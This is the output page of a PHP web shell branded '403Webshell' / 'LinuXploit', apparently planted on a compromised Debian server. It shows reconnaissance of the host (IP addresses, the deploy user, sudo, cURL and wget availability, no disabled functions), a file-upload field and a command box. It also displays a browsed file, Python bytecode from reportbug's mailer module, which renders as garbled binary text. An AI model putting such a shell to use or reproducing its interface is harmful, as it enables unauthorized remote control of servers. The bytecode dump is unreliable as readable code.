403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/reportbug/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/reportbug/__pycache__/mailer.cpython-39.pyc
a

K56a[�@sddlZddlZddlZddlZddlZddlZddlZddlmZdZ	Gdd�d�Z
Gdd�de
�ZGd	d
�d
e
�ZGdd�de
�Z
ed
�ed�e
d�e
d�e�e
ddd�e
d�e
d�e
ddd�e
ddd�e
ddd�e
ddd�e
ddd�d�
Zgd�Zdd�Zdd�Zd d!�ZdS)"�N�)�
BadMessagei�c@s*eZdZd	dd�Zdd�Zgfdd�ZdS)
�MuaTcCs||_|��d|_||_dS)Nr)�_command�split�
executable�needs_terminal)�selfZcommandr�r
�2/usr/lib/python3/dist-packages/reportbug/mailer.py�__init__&szMua.__init__cCstj�|�ot�|tj�S)N)�os�path�isfile�access�R_OK)r	Zafiler
r
r�_check_attachable+szMua._check_attachablecCs(|j}d|vr|d7}|t�|�}|S)N�%s� %s)r�shlex�quote)r	�filename�attachments�cmdr
r
r�get_send_command.s
zMua.get_send_commandN)T)�__name__�
__module__�__qualname__rrrr
r
r
rr%s
rc@seZdZgfdd�ZdS)�MuttcsT�j}d|vr|d7}|t�|�}|rP�fdd�|D�}|rP|dd�|�7}|S)Nrrcs(g|] }��|�rt�tj�|���qSr
)rrrr
r�abspath��.0�a�r	r
r�
<listcomp>=s
�z)Mutt.get_send_command.<locals>.<listcomp>z -a � )rrr�join)r	rrrZattr
r#rr7szMutt.get_send_commandN)rrrrr
r
r
rr6src@s eZdZdd�Zgfdd�ZdS)�GnuscCsd|_d|_dS)NZemacsclientT)rrr#r
r
rrEsz
Gnus.__init__cCs0d}t�dd|�}t�||�}d||f}|S)Nz�(progn
                      (load-file "/usr/share/reportbug/reportbug.el")
                      (tfheen-reportbug-insert-template "%s"))z["\\]z\\\g<0>z>emacsclient --no-wait --eval %s 2>/dev/null || emacs --eval %s)�re�subrr)r	rrZelisprr
r
rrIs
zGnus.get_send_commandN)rrrrrr
r
r
rr'Dsr'c@s4eZdZdd�Zdd�Zgfdd�Zgfdd�Zd	S)
�MailtocCstjj|ddd�S)N�/�replace)Zsafe�errors)�urllib�parser)r	Zinsr
r
r�_uqTsz
Mailto._uqcCs4d}||}|r0|�d�|����}d�||�}|S)N�z{}={}&)r0r&�
splitlines�format)r	�hdr�msgZparmstrZhdZcontentr
r
r�_get_headerparamWszMailto._get_headerparamcs�d}|��d�|d����7}|d7}dD]}|��||�7}q,|��rT|�d�S|r|�fdd�|D�}|r||d�|�7}|jd	d
�jdd�}|r�|d
��|�}t|�t	kr�|dd�}|s�t
d��|d7}|d
��|�}q�|}|�d�S)Nzmailto:r1�to�?)ZsubjectZccZbccz?&c	s.g|]&}��|�rd���tj�|����qS)z
attach={}&)rr3r0r
rrr r#r
rr$ms�z)Mailto._msg_to_mailto.<locals>.<listcomp>T)�decoder,)r-zbody=i0���zunreasonable messagez;

[ MAILBODY EXCEEDED REASONABLE LENGTH, OUTPUT TRUNCATED ])r0r&r2r6Zis_multipart�rstripZget_payloadr9�len�MAX_ARG_LENGTHr)r	r5rZmailtor4Z
attstrlist�bodyZ
try_mailtor
r#r�_msg_to_mailtoas0

�zMailto._msg_to_mailtocCsVt|d��"}tj|tjjd�}Wd�n1s20Yd�|j|�||��}|S)N�r)�policyz{} "{}")�open�emailZmessage_from_filer@Zcompat32r3rr>)r	rr�fp�messagerr
r
rr�s0zMailto.get_send_commandN)rrrr0r6r>rr
r
r
rr*Ss
r*zmutt -Hz
neomutt -Hz/usr/bin/mh/comp -use -filezclaws-mail --compose-from-fileF)rzalpine -urlz	pine -url�	evolution�kmailzthunderbird -composezsylpheed --compose�	xdg-email)
ZmuttZneomuttZmhZnmhZgnus�
claws-mailZalpineZpinerErF�thunderbird�sylpheedrG)rHrErFrIrJcCst|t�s|t��vrdSdS)NTF)�
isinstancer�MUA�keys�Zmuar
r
r�mua_is_supported�srOcCs@t|t�s,zt|}Wnty*YdS0t�|j�r<dSdS)NFT)rKrrL�KeyError�shutilZwhichrrNr
r
r�
mua_exists�s
rRcCsNdtjvsdtjvrdSt|t�r(|j}|tvr4dS|dkrJdtjvrJdSdS)NZDISPLAYZWAYLAND_DISPLAYTFrGZMAILER)r
�environrKrr�MUA_NEEDS_DISPLAYrNr
r
r�mua_can_run�s
�
rU)rBZemail.policyr
r(rrQr.�
exceptionsrr<rrr'r*rLrTrOrRrUr
r
r
r�<module>s<6





�	

Youez - 2016 - github.com/yon3zu
LinuXploit